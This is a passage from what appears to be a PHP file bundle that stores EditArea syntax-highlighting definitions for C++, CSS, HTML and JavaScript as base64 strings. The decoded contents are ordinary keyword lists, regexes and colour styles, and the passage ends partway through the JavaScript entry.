  './AJAX-B/edit_area/reg_syntax/cpp.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImNwcCJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7MSA6ICcvLyd9DQoJLCdDT01NRU5UX01VTFRJJyA6IHsnLyonIDogJyovJ30NCgksJ1FVT1RFTUFSS1MnIDogezE6ICInIiwgMjogJyInfQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiB0cnVlDQoJLCdLRVlXT1JEUycgOiB7DQoJCSdjb25zdGFudHMnIDogWw0KCQkJJ05VTEwnLCAnZmFsc2UnLCAnc3RkJywgJ3N0ZGluJywgJ3N0ZG91dCcsICdzdGRlcnInLA0KCQkJJ3RydWUnDQoJCV0NCgkJLCd0eXBlcycgOiBbDQoJCQknRklMRScsICdhdXRvJywgJ2NoYXInLCAnY2xhc3MnLCAnY29uc3QnLCAnZG91YmxlJywNCgkJCSdleHRlcm4nLCAnZmxvYXQnLCAnZnJpZW5kJywgJ2lubGluZScsICdpbnQnLA0KCQkJJ2l0ZXJhdG9yJywgJ2xvbmcnLCAnbWFwJywgJ29wZXJhdG9yJywgJ3F1ZXVlJywNCgkJCSdyZWdpc3RlcicsICdzaG9ydCcsICdzaWduZWQnLCAnc2l6ZV90JywgJ3N0YWNrJywNCgkJCSdzdGF0aWMnLCAnc3RyaW5nJywgJ3N0cnVjdCcsICd0aW1lX3QnLCAndHlwZWRlZicsDQoJCQkndW5pb24nLCAndW5zaWduZWQnLCAndmVjdG9yJywgJ3ZvaWQnLCAndm9sYXRpbGUnDQoJCV0NCgkJLCdzdGF0ZW1lbnRzJyA6IFsNCgkJCSdjYXRjaCcsICdkbycsICdlbHNlJywgJ2VudW0nLCAnZm9yJywgJ2dvdG8nLCAnaWYnLA0KCQkJJ3NpemVvZicsICdzd2l0Y2gnLCAndGhpcycsICd0aHJvdycsICd0cnknLCAnd2hpbGUnDQoJCV0NCiAJCSwna2V5d29yZHMnIDogWw0KCQkJJ2JyZWFrJywgJ2Nhc2UnLCAnY29udGludWUnLCAnZGVmYXVsdCcsICdkZWxldGUnLA0KCQkJJ25hbWVzcGFjZScsICduZXcnLCAncHJpdmF0ZScsICdwcm90ZWN0ZWQnLCAncHVibGljJywNCgkJCSdyZXR1cm4nLCAndXNpbmcnDQoJCV0NCgl9DQoJLCdPUEVSQVRPUlMnIDpbDQoJCScrJywgJy0nLCAnLycsICcqJywgJz0nLCAnPCcsICc+JywgJyUnLCAnIScsICc/JywgJzonLCAnJicNCgldDQoJLCdERUxJTUlURVJTJyA6Ww0KCQknKCcsICcpJywgJ1snLCAnXScsICd7JywgJ30nDQoJXQ0KCSwnUkVHRVhQUycgOiB7DQoJCSdwcmVjb21waWxlcicgOiB7DQoJCQknc2VhcmNoJyA6ICcoKSgjW15cclxuXSopKCknDQoJCQksJ2NsYXNzJyA6ICdwcmVjb21waWxlcicNCgkJCSwnbW9kaWZpZXJzJyA6ICdnJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnDQoJCX0NCi8qCQksJ3ByZWNvbXBpbGVyc3RyaW5nJyA6IHsNCgkJCSdzZWFyY2gnIDogJygjW1x0IF0qaW5jbHVkZVtcdCBdKikoW15cclxuXSopKFteXHJcbl0qW1xyXG5dKScNCgkJCSwnY2xhc3MnIDogJ3ByZWNvbXBpbGVyc3RyaW5nJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScNCgkJfSovDQoJfQ0KCSwnU1RZTEVTJyA6IHsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycNCgkJLCdRVU9URVNNQVJLUyc6ICdjb2xvcjogIzYzODFGODsnDQoJCSwnS0VZV09SRFMnIDogew0KCQkJJ2NvbnN0YW50cycgOiAnY29sb3I6ICNFRTAwMDA7Jw0KCQkJLCd0eXBlcycgOiAnY29sb3I6ICMwMDAwRUU7Jw0KCQkJLCdzdGF0ZW1lbnRzJyA6ICdjb2xvcjogIzYwQ0EwMDsnDQoJCQksJ2tleXdvcmRzJyA6ICdjb2xvcjogIzQ4QkRERjsnDQoJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRkYwMEZGOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzAwMzhFMTsnDQoJCSwnUkVHRVhQUycgOiB7DQoJCQkncHJlY29tcGlsZXInIDogJ2NvbG9yOiAjMDA5OTAwOycNCgkJCSwncHJlY29tcGlsZXJzdHJpbmcnIDogJ2NvbG9yOiAjOTk0NDAwOycNCgkJfQ0KCX0NCn07DQo=',
  './AJAX-B/edit_area/reg_syntax/css.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImNzcyJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7MSA6ICdAJ30NCgksJ0NPTU1FTlRfTVVMVEknIDogeycvKicgOiAnKi8nfQ0KCSwnUVVPVEVNQVJLUycgOiBbJyInLCAiJyJdDQoJLCdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IGZhbHNlDQoJLCdLRVlXT1JEUycgOiB7DQoJCSdhdHRyaWJ1dGVzJyA6IFsNCgkJCSdhcXVhJywgJ2F6aW11dGgnLCAnYmFja2dyb3VuZC1hdHRhY2htZW50JywgJ2JhY2tncm91bmQtY29sb3InLA0KCQkJJ2JhY2tncm91bmQtaW1hZ2UnLCAnYmFja2dyb3VuZC1wb3NpdGlvbicsICdiYWNrZ3JvdW5kLXJlcGVhdCcsDQoJCQknYmFja2dyb3VuZCcsICdib3JkZXItYm90dG9tLWNvbG9yJywgJ2JvcmRlci1ib3R0b20tc3R5bGUnLA0KCQkJJ2JvcmRlci1ib3R0b20td2lkdGgnLCAnYm9yZGVyLWxlZnQtY29sb3InLCAnYm9yZGVyLWxlZnQtc3R5bGUnLA0KCQkJJ2JvcmRlci1sZWZ0LXdpZHRoJywgJ2JvcmRlci1yaWdodCcsICdib3JkZXItcmlnaHQtY29sb3InLA0KCQkJJ2JvcmRlci1yaWdodC1zdHlsZScsICdib3JkZXItcmlnaHQtd2lkdGgnLCAnYm9yZGVyLXRvcC1jb2xvcicsDQoJCQknYm9yZGVyLXRvcC1zdHlsZScsICdib3JkZXItdG9wLXdpZHRoJywnYm9yZGVyLWJvdHRvbScsICdib3JkZXItY29sbGFwc2UnLA0KCQkJJ2JvcmRlci1sZWZ0JywgJ2JvcmRlci13aWR0aCcsICdib3JkZXItY29sb3InLCAnYm9yZGVyLXNwYWNpbmcnLA0KCQkJJ2JvcmRlci1zdHlsZScsICdib3JkZXItdG9wJywgJ2JvcmRlcicsICAnY2FwdGlvbi1zaWRlJywNCgkJCSdjbGVhcicsICdjbGlwJywgJ2NvbG9yJywgJ2NvbnRlbnQnLCAnY291bnRlci1pbmNyZW1lbnQnLCAnY291bnRlci1yZXNldCcsDQoJCQknY3VlLWFmdGVyJywgJ2N1ZS1iZWZvcmUnLCAnY3VlJywgJ2N1cnNvcicsICdkaXJlY3Rpb24nLCAnZGlzcGxheScsDQoJCQknZWxldmF0aW9uJywgJ2VtcHR5LWNlbGxzJywgJ2Zsb2F0JywgJ2ZvbnQtZmFtaWx5JywgJ2ZvbnQtc2l6ZScsDQoJCQknZm9udC1zaXplLWFkanVzdCcsICdmb250LXN0cmV0Y2gnLCAnZm9udC1zdHlsZScsICdmb250LXZhcmlhbnQnLA0KCQkJJ2ZvbnQtd2VpZ2h0JywgJ2ZvbnQnLCAnaGVpZ2h0JywgJ2xldHRlci1zcGFjaW5nJywgJ2xpbmUtaGVpZ2h0JywNCgkJCSdsaXN0LXN0eWxlJywgJ2xpc3Qtc3R5bGUtaW1hZ2UnLCAnbGlzdC1zdHlsZS1wb3NpdGlvbicsICdsaXN0LXN0eWxlLXR5cGUnLA0KCQkJJ21hcmdpbi1ib3R0b20nLCAnbWFyZ2luLWxlZnQnLCAnbWFyZ2luLXJpZ2h0JywgJ21hcmdpbi10b3AnLCAnbWFyZ2luJywNCgkJCSdtYXJrZXItb2Zmc2V0JywgJ21hcmtzJywgJ21heC1oZWlnaHQnLCAnbWF4LXdpZHRoJywgJ21pbi1oZWlnaHQnLA0KCQkJJ21pbi13aWR0aCcsICdvcGFjaXR5JywgJ29ycGhhbnMnLCAnb3V0bGluZScsICdvdXRsaW5lLWNvbG9yJywgJ291dGxpbmUtc3R5bGUnLA0KCQkJJ291dGxpbmUtd2lkdGgnLCAnb3ZlcmZsb3cnLCAncGFkZGluZy1ib3R0b20nLCAncGFkZGluZy1sZWZ0JywNCgkJCSdwYWRkaW5nLXJpZ2h0JywgJ3BhZGRpbmctdG9wJywgJ3BhZGRpbmcnLCAncGFnZScsICdwYWdlLWJyZWFrLWFmdGVyJywNCgkJCSdwYWdlLWJyZWFrLWJlZm9yZScsICdwYWdlLWJyZWFrLWluc2lkZScsICdwYXVzZS1hZnRlcicsICdwYXVzZS1iZWZvcmUnLA0KCQkJJ3BhdXNlJywgJ3BpdGNoJywgJ3BpdGNoLXJhbmdlJywgICdwbGF5LWR1cmluZycsICdwb3NpdGlvbicsICdxdW90ZXMnLA0KCQkJJ3JpY2huZXNzJywgJ3JpZ2h0JywgJ3NpemUnLCAnc3BlYWstaGVhZGVyJywgJ3NwZWFrLW51bWVyYWwnLCAnc3BlYWstcHVuY3R1YXRpb24nLA0KCQkJJ3NwZWFrJywgJ3NwZWVjaC1yYXRlJywgJ3N0cmVzcycsICd0YWJsZS1sYXlvdXQnLCAndGV4dC1hbGlnbicsICd0ZXh0LWRlY29yYXRpb24nLA0KCQkJJ3RleHQtaW5kZW50JywgJ3RleHQtc2hhZG93JywgJ3RleHQtdHJhbnNmb3JtJywgJ3RvcCcsICd1bmljb2RlLWJpZGknLA0KCQkJJ3ZlcnRpY2FsLWFsaWduJywgJ3Zpc2liaWxpdHknLCAndm9pY2UtZmFtaWx5JywgJ3ZvbHVtZScsICd3aGl0ZS1zcGFjZScsICd3aWRvd3MnLA0KCQkJJ3dpZHRoJywgJ3dvcmQtc3BhY2luZycsICd6LWluZGV4JywgJ2JvdHRvbScsICdsZWZ0Jw0KCQldDQoJCSwndmFsdWVzJyA6IFsNCgkJCSdhYm92ZScsICdhYnNvbHV0ZScsICdhbHdheXMnLCAnYXJtZW5pYW4nLCAnYXVyYWwnLCAnYXV0bycsICdhdm9pZCcsDQoJCQknYmFzZWxpbmUnLCAnYmVoaW5kJywgJ2JlbG93JywgJ2JpZGktb3ZlcnJpZGUnLCAnYmxhY2snLCAnYmx1ZScsICdibGluaycsICdibG9jaycsICdib2xkJywgJ2JvbGRlcicsICdib3RoJywNCgkJCSdjYXBpdGFsaXplJywgJ2NlbnRlci1sZWZ0JywgJ2NlbnRlci1yaWdodCcsICdjZW50ZXInLCAnY2lyY2xlJywgJ2Nqay1pZGVvZ3JhcGhpYycsIA0KICAgICAgICAgICAgJ2Nsb3NlLXF1b3RlJywgJ2NvbGxhcHNlJywgJ2NvbmRlbnNlZCcsICdjb250aW51b3VzJywgJ2Nyb3AnLCAnY3Jvc3NoYWlyJywgJ2Nyb3NzJywgJ2N1cnNpdmUnLA0KCQkJJ2Rhc2hlZCcsICdkZWNpbWFsLWxlYWRpbmctemVybycsICdkZWNpbWFsJywgJ2RlZmF1bHQnLCAnZGlnaXRzJywgJ2Rpc2MnLCAnZG90dGVkJywgJ2RvdWJsZScsDQoJCQknZS1yZXNpemUnLCAnZW1iZWQnLCAnZXh0cmEtY29uZGVuc2VkJywgJ2V4dHJhLWV4cGFuZGVkJywgJ2V4cGFuZGVkJywNCgkJCSdmYW50YXN5JywgJ2Zhci1sZWZ0JywgJ2Zhci1yaWdodCcsICdmYXN0ZXInLCAnZmFzdCcsICdmaXhlZCcsICdmdWNoc2lhJywNCgkJCSdnZW9yZ2lhbicsICdncmF5JywgJ2dyZWVuJywgJ2dyb292ZScsICdoZWJyZXcnLCAnaGVscCcsICdoaWRkZW4nLCAnaGlkZScsICdoaWdoZXInLA0KCQkJJ2hpZ2gnLCAnaGlyYWdhbmEtaXJvaGEnLCAnaGlyYWdhbmEnLCAnaWNvbicsICdpbmhlcml0JywgJ2lubGluZS10YWJsZScsICdpbmxpbmUnLA0KCQkJJ2luc2V0JywgJ2luc2lkZScsICdpbnZlcnQnLCAnaXRhbGljJywgJ2p1c3RpZnknLCAna2F0YWthbmEtaXJvaGEnLCAna2F0YWthbmEnLA0KCQkJJ2xhbmRzY2FwZScsICdsYXJnZXInLCAnbGFyZ2UnLCAnbGVmdC1zaWRlJywgJ2xlZnR3YXJkcycsICdsZXZlbCcsICdsaWdodGVyJywgJ2xpbWUnLCAnbGluZS10aHJvdWdoJywgJ2xpc3QtaXRlbScsICdsb3VkJywgJ2xvd2VyLWFscGhhJywgJ2xvd2VyLWdyZWVrJywgJ2xvd2VyLXJvbWFuJywgJ2xvd2VyY2FzZScsICdsdHInLCAnbG93ZXInLCAnbG93JywNCgkJCSdtYXJvb24nLCAnbWVkaXVtJywgJ21lc3NhZ2UtYm94JywgJ21pZGRsZScsICdtaXgnLCAnbW9ub3NwYWNlJywNCgkJCSduLXJlc2l6ZScsICduYXJyb3dlcicsICduYXZ5JywgJ25lLXJlc2l6ZScsICduby1jbG9zZS1xdW90ZScsICduby1vcGVuLXF1b3RlJywgJ25vLXJlcGVhdCcsICdub25lJywgJ25vcm1hbCcsICdub3dyYXAnLCAnbnctcmVzaXplJywNCgkJCSdvYmxpcXVlJywgJ29saXZlJywgJ29uY2UnLCAnb3Blbi1xdW90ZScsICdvdXRzZXQnLCAnb3V0c2lkZScsICdvdmVybGluZScsDQoJCQkncG9pbnRlcicsICdwb3J0cmFpdCcsICdwdXJwbGUnLCAncHgnLA0KCQkJJ3JlZCcsICdyZWxhdGl2ZScsICdyZXBlYXQteCcsICdyZXBlYXQteScsICdyZXBlYXQnLCAncmdiJywgJ3JpZGdlJywgJ3JpZ2h0LXNpZGUnLCAncmlnaHR3YXJkcycsDQoJCQkncy1yZXNpemUnLCAnc2Fucy1zZXJpZicsICdzY3JvbGwnLCAnc2UtcmVzaXplJywgJ3NlbWktY29uZGVuc2VkJywgJ3NlbWktZXhwYW5kZWQnLCAnc2VwYXJhdGUnLCAnc2VyaWYnLCAnc2hvdycsICdzaWxlbnQnLCAnc2lsdmVyJywgJ3Nsb3cnLCAnc2xvd2VyJywgJ3NtYWxsLWNhcHMnLCAnc21hbGwtY2FwdGlvbicsICdzbWFsbGVyJywgJ3NvZnQnLCAnc29saWQnLCAnc3BlbGwtb3V0JywgJ3NxdWFyZScsDQoJCQknc3RhdGljJywgJ3N0YXR1cy1iYXInLCAnc3VwZXInLCAnc3ctcmVzaXplJywNCgkJCSd0YWJsZS1jYXB0aW9uJywgJ3RhYmxlLWNlbGwnLCAndGFibGUtY29sdW1uJywgJ3RhYmxlLWNvbHVtbi1ncm91cCcsICd0YWJsZS1mb290ZXItZ3JvdXAnLCAndGFibGUtaGVhZGVyLWdyb3VwJywgJ3RhYmxlLXJvdycsICd0YWJsZS1yb3ctZ3JvdXAnLCAndGVhbCcsICd0ZXh0JywgJ3RleHQtYm90dG9tJywgJ3RleHQtdG9wJywgJ3RoaWNrJywgJ3RoaW4nLCAndHJhbnNwYXJlbnQnLA0KCQkJJ3VsdHJhLWNvbmRlbnNlZCcsICd1bHRyYS1leHBhbmRlZCcsICd1bmRlcmxpbmUnLCAndXBwZXItYWxwaGEnLCAndXBwZXItbGF0aW4nLCAndXBwZXItcm9tYW4nLCAndXBwZXJjYXNlJywgJ3VybCcsDQoJCQkndmlzaWJsZScsDQoJCQkndy1yZXNpemUnLCAnd2FpdCcsICd3aGl0ZScsICd3aWRlcicsDQoJCQkneC1mYXN0JywgJ3gtaGlnaCcsICd4LWxhcmdlJywgJ3gtbG91ZCcsICd4LWxvdycsICd4LXNtYWxsJywgJ3gtc29mdCcsICd4eC1sYXJnZScsICd4eC1zbWFsbCcsDQoJCQkneWVsbG93JywgJ3llcycNCgkJXQ0KCQksJ3NwZWNpYWxzJyA6IFsNCgkJCSdpbXBvcnRhbnQnDQoJCV0NCgl9DQoJLCdPUEVSQVRPUlMnIDpbDQoJCSc6JywgJzsnLCAnIScsICcuJywgJyMnDQoJXQ0KCSwnREVMSU1JVEVSUycgOlsNCgkJJ3snLCAnfScNCgldDQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICNBQUFBQUE7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjNjM4MUY4OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQknYXR0cmlidXRlcycgOiAnY29sb3I6ICM0OEJEREY7Jw0KCQkJLCd2YWx1ZXMnIDogJ2NvbG9yOiAjMkI2MEZGOycNCgkJCSwnc3BlY2lhbHMnIDogJ2NvbG9yOiAjRkYwMDAwOycNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRkYwMEZGOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzYwQ0EwMDsnDQoJCQkJDQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/html.js' => 'LyoNCiogbGFzdCB1cGRhdGU6IDIwMDYtMDgtMjQNCiovDQoNCmVkaXRBcmVhTG9hZGVyLmxvYWRfc3ludGF4WyJodG1sIl0gPSB7DQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHt9DQoJLCdDT01NRU5UX01VTFRJJyA6IHsnPCEtLScgOiAnLS0+J30NCgksJ1FVT1RFTUFSS1MnIDogezE6ICInIiwgMjogJyInfQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiBmYWxzZQ0KCSwnS0VZV09SRFMnIDogew0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgldDQoJLCdERUxJTUlURVJTJyA6Ww0KCV0NCgksJ1JFR0VYUFMnIDogew0KCQknZG9jdHlwZScgOiB7DQoJCQknc2VhcmNoJyA6ICcoKSg8IURPQ1RZUEVbXj5dKj4pKCknDQoJCQksJ2NsYXNzJyA6ICdkb2N0eXBlJw0KCQkJLCdtb2RpZmllcnMnIDogJycNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJyAvLyBiZWZvcmUgb3IgYWZ0ZXINCgkJfQ0KCQksJ3RhZ3MnIDogew0KCQkJJ3NlYXJjaCcgOiAnKDwpKC8/W2Etel1bXiBcclxuXHQ+XSopKFtePl0qPiknDQoJCQksJ2NsYXNzJyA6ICd0YWdzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2dpJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnIC8vIGJlZm9yZSBvciBhZnRlcg0KCQl9DQoJCSwnYXR0cmlidXRlcycgOiB7DQoJCQknc2VhcmNoJyA6ICcoIHxcbnxccnxcdCkoW14gXHJcblx0PV0rKSg9KScNCgkJCSwnY2xhc3MnIDogJ2F0dHJpYnV0ZXMnDQoJCQksJ21vZGlmaWVycycgOiAnZycNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJyAvLyBiZWZvcmUgb3IgYWZ0ZXINCgkJfQ0KCX0NCgksJ1NUWUxFUycgOiB7DQoJCSdDT01NRU5UUyc6ICdjb2xvcjogI0FBQUFBQTsnDQoJCSwnUVVPVEVTTUFSS1MnOiAnY29sb3I6ICM2MzgxRjg7Jw0KCQksJ0tFWVdPUkRTJyA6IHsNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRTc3NUYwOycNCgkJLCdERUxJTUlURVJTJyA6ICcnDQoJCSwnUkVHRVhQUycgOiB7DQoJCQknYXR0cmlidXRlcyc6ICdjb2xvcjogI0IxQUM0MTsnDQoJCQksJ3RhZ3MnOiAnY29sb3I6ICNFNjIyNTM7Jw0KCQkJLCdkb2N0eXBlJzogJ2NvbG9yOiAjOERDRkI1OycNCgkJCSwndGVzdCc6ICdjb2xvcjogIzAwRkYwMDsnDQoJCX0JDQoJfQkJDQp9Ow0K',
  './AJAX-B/edit_area/reg_syntax/js.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbImpzIl0gPSB7DQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHsxIDogJy8vJ30NCgksJ0NPTU1FTlRfTVVMVEknIDogeycvKicgOiAnKi8nfQ0KCSwnUVVPVEVNQVJLUycgOiB7MTogIiciLCAyOiAnIid9DQoJLCdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IGZhbHNlDQoJLCdLRVlXT1JEUycgOiB7DQoJCSdzdGF0ZW1lbnRzJyA6IFsNCgkJCSdhcycsICdicmVhaycsICdjYXNlJywgJ2NhdGNoJywgJ2NvbnRpbnVlJywgJ2RlY29kZVVSSScsICdkZWxldGUnLCAnZG8nLA0KCQkJJ2Vsc2UnLCAnZW5jb2RlVVJJJywgJ2V2YWwnLCAnZmluYWxseScsICdmb3InLCAnaWYnLCAnaW4nLCAnaXMnLCAnaXRlbScsDQoJCQknaW5zdGFuY2VvZicsICdyZXR1cm4nLCAnc3dpdGNoJywgJ3RoaXMnLCAndGhyb3cnLCAndHJ5JywgJ3R5cGVvZicsICd2b2lkJywNCgkJCSd3aGlsZScsICd3cml0ZScsICd3aXRoJw0KCQldDQogCQksJ2tleXdvcmRzJyA6IFsNCgkJCSdjbGFzcycsICdjb25zdCcsICdkZWZhdWx0JywgJ2RlYnVnZ2VyJywgJ2V4cG9ydCcsICdleHRlbmRzJywgJ2ZhbHNlJywNCgkJCSdmdW5jdGlvbicsICdpbXBvcnQnLCAnbmFtZXNwYWNlJywgJ25ldycsICdudWxsJywgJ3BhY2thZ2UnLCAncHJpdmF0ZScsDQoJCQkncHJvdGVjdGVkJywgJ3B1YmxpYycsICdzdXBlcicsICd0cnVlJywgJ3VzZScsICd2YXInLCAnd2luZG93JywgJ2RvY3VtZW50JywJCQ0KCQkJLy8gdGhlIGxpc3QgYmVsb3cgbXVzdCBiZSBzb3J0ZWQgYW5kIGNoZWNrZWQgKGlmIGl0IGlzIGEga2V5d29yZHMgb3IgYSBmdW5jdGlvbiBhbmQgaWYgaXQgaXMgbm90IHByZXNlbnQgdHdpY2UNCgkJCSdMaW5rICcsICdvdXRlckhlaWdodCAnLCAnQW5jaG9yJywgJ0ZpbGVVcGxvYWQnLCANCgkJCSdsb2NhdGlvbicsICdvdXRlcldpZHRoJywgJ1NlbGVjdCcsICdBcmVhJywgJ2ZpbmQnLCAnTG9jYXRpb24nLCAnUGFja2FnZXMnLCAnc2VsZicsIA0KCQkJJ2FyZ3VtZW50cycsICdsb2NhdGlvbmJhcicsICdwYWdlWG9mZnNldCcsICdGb3JtJywgDQoJCQknTWF0aCcsICdwYWdlWW9mZnNldCcsICdzZXRUaW1lb3V0JywgJ2Fzc2lnbicsICdGcmFtZScsICdtZW51YmFyJywgJ3BhcmVudCcsICdzdGF0dXMnLCANCgkJCSdibHVyJywgJ2ZyYW1lcycsICdNaW1lVHlwZScsICdwYXJzZUZsb2F0JywgJ3N0YXR1c2JhcicsICdCb29sZWFuJywgJ0Z1bmN0aW9uJywgJ21vdmVCeScsIA0KCQkJJ3BhcnNlSW50JywgJ3N0b3AnLCAnQnV0dG9uJywgJ2dldENsYXNzJywgJ21vdmVUbycsICdQYXNzd29yZCcsICdTdHJpbmcnLCAnY2FsbGVlJywgJ0hpZGRlbicsIA0KCQkJJ25hbWUnLCAncGVyc29uYWxiYXInLCAnU3VibWl0JywgJ2NhbGxlcicsICdoaXN0b3J5JywgJ05hTicsICdQbHVnaW4nLCAnc3VuJywgJ2NhcHR1cmVFdmVudHMnLCANCgkJCSdIaXN0b3J5JywgJ25hdmlnYXRlJywgJ3ByaW50JywgJ3RhaW50JywgJ0NoZWNrYm94JywgJ2hvbWUnLCAnbmF2aWdhdG9yJywgJ3Byb21wdCcsICdUZXh0JywgDQoJCQknSW1hZ2UnLCAnTmF2aWdhdG9yJywgJ3Byb3RvdHlwZScsICdUZXh0YXJlYScsICdjbGVhclRpbWVvdXQnLCAnSW5maW5pdHknLCANCgkJCSduZXRzY2FwZScsICdSYWRpbycsICd0b29sYmFyJywgJ2Nsb3NlJywgJ2lubmVySGVpZ2h0JywgJ051bWJlcicsICdyZWYnLCAndG9wJywgJ2Nsb3NlZCcsIA0KCQkJJ2lubmVyV2lkdGgnLCAnT2JqZWN0JywgJ1JlZ0V4cCcsICd0b1N0cmluZycsICdjb25maXJtJywgJ2lzRmluaXRlJywgJ29uQmx1cicsICdyZWxlYXNlRXZlbnRzJywgDQoJCQkndW5lc2NhcGUnLCAnY29uc3RydWN0b3InLCAnaXNOYW4nLCAnb25FcnJvcicsICdSZXNldCcsICd1bnRhaW50JywgJ0RhdGUnLCAnamF2YScsICdvbkZvY3VzJywgDQoJCQkncmVzaXplQnknLCAndW53YXRjaCcsICdkZWZhdWx0U3RhdHVzJywgJ0phdmFBcnJheScsICdvbkxvYWQnLCAncmVzaXplVG8nLCAndmFsdWVPZicsICdkb2N1bWVudCcsIA0KCQkJJ0phdmFDbGFzcycsICdvblVubG9hZCcsICdyb3V0ZUV2ZW50JywgJ3dhdGNoJywgJ0RvY3VtZW50JywgJ0phdmFPYmplY3QnLCAnb3BlbicsICdzY3JvbGwnLCAnd2luZG93JywgDQoJCQknRWxlbWVudCcsICdKYXZhUGFja2FnZScsICdvcGVuZXInLCAnc2Nyb2xsYmFycycsICdXaW5kb3cnLCAnZXNjYXBlJywgJ2xlbmd0aCcsICdPcHRpb24nLCAnc2Nyb2xsQnknCQkJDQoJCV0NCiAgICAJLCdmdW5jdGlvbnMnIDogWw0KCQkJLy8gY29tbW9uIGZ1bmN0aW9ucyBmb3IgV2luZG93IG9iamVjdA0KCQkJJ2FsZXJ0JywgJ0FycmF5JywgJ2JhY2snLCAnYmx1cicsICdjbGVhckludGVydmFsJywgJ2Nsb3NlJywgJ2NvbmZpcm0nLCAnZXZhbCAnLCAnZm9jdXMnLCAnZm9yd2FyZCcsICdob21lJywNCgkJCSduYW1lJywgJ25hdmlnYXRlJywgJ29uYmx1cicsICdvbmVycm9yJywgJ29uZm9jdXMnLCAnb25sb2FkJywgJ29ubW92ZScsDQoJCQknb25yZXNpemUnLCAnb251bmxvYWQnLCAnb3BlbicsICdwcmludCcsICdwcm9tcHQnLCAnc2Nyb2xsJywgJ3Njcm9sbFRvJywgJ3NldEludGVydmFsJywgJ3N0YXR1cycsDQoJCQknc3RvcCcgDQoJCV0NCgl9DQoJLCdPUEVSQVRPUlMnIDpbDQoJCScrJywgJy0nLCAnLycsICcqJywgJz0nLCAnPCcsICc+JywgJyUnLCAnIScNCgldDQoJLCdERUxJTUlURVJTJyA6Ww0KCQknKCcsICcpJywgJ1snLCAnXScsICd7JywgJ30nDQoJXQ0KCSwnU1RZTEVTJyA6IHsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycNCgkJLCdRVU9URVNNQVJLUyc6ICdjb2xvcjogIzYzODFGODsnDQoJCSwnS0VZV09SRFMnIDogew0KCQkJJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjNjBDQTAwOycNCgkJCSwna2V5d29yZHMnIDogJ2NvbG9yOiAjNDhCRERGOycNCgkJCSwnZnVuY3Rpb25zJyA6ICdjb2xvcjogIzJCNjBGRjsnDQoJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRkYwMEZGOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzAwMzhFMTsnDQoJCQkJDQoJfQ0KCSwnQVVUT19DT01QTEVUSU9OJyA6ICB7DQoJCSJkZWZhdWx0IjogewkvLyB0aGUgbmFtZSBvZiB0aGlzIGRlZmluaXRpb24gZ3JvdXAuIEl0J3MgcG9zaXNibGUgdG8gaGF2ZSBkaWZmZXJlbnQgcnVsZXMgaW5zaWRlIHRoZSBzYW1lIGRlZmluaXRpb24gZmlsZQ0KCQkJIlJFR0VYUCI6IHsgImJlZm9yZV93b3JkIjogIlteYS16QS1aMC05X118XiIJLy8gXFxzfFxcLnwNCgkJCQkJCSwicG9zc2libGVfd29yZHNfbGV0dGVycyI6ICJbYS16QS1aMC05X10rIg0KCQkJCQkJLCJsZXR0ZXJfYWZ0ZXJfd29yZF9tdXN0X21hdGNoIjogIlteYS16QS1aMC05X118JCINCgkJCQkJCSwicHJlZml4X3NlcGFyYXRvciI6ICJcXC4iDQoJCQkJCX0NCgkJCSwiQ0FTRV9TRU5TSVRJVkUiOiB0cnVlDQoJCQksIk1BWF9URVhUX0xFTkdUSCI6IDEwMAkJLy8gdGhlIG1heGltdW0gbGVuZ3RoIG9mIHRoZSB0ZXh0IGJlaW5nIGFuYWx5emVkIGJlZm9yZSB0aGUgY3Vyc29yIHBvc2l0aW9uDQoJCQksIktFWVdPUkRTIjogew0KCQkJCScnOiBbCS8vIHRoZSBwcmVmaXggb2YgdGhvc2VzIGl0ZW1zDQoJCQkJCQkvKioNCgkJCQkJCSAqIDAgOiB0aGUga2V5d29yZCB0aGUgdXNlciBpcyB0eXBpbmcNCgkJCQkJCSAqIDEgOiAob3B0aW9ubmFsKSB0aGUgc3RyaW5nIGluc2VydGVkIGluIGNvZGUgKCJ7QH0iIGJlaW5nIHRoZSBuZXcgcG9zaXRpb24gb2YgdGhlIGN1cnNvciwgIsKnIiBiZWVpbmcgdGhlIGVxdWl2YWxlbnQgdG8gdGhlIHZhbHVlIHRoZSB0eXBlZCBzdHJpbmcgaW5kaWNhdGVkIGlmIHRoZSBwcmV2aW91cyApDQoJCQkJCQkgKiAJCUlmIGVtcHR5IHRoZSBrZXl3b3JkIHdpbGwgYmUgZGlzcGxheWVkDQoJCQkJC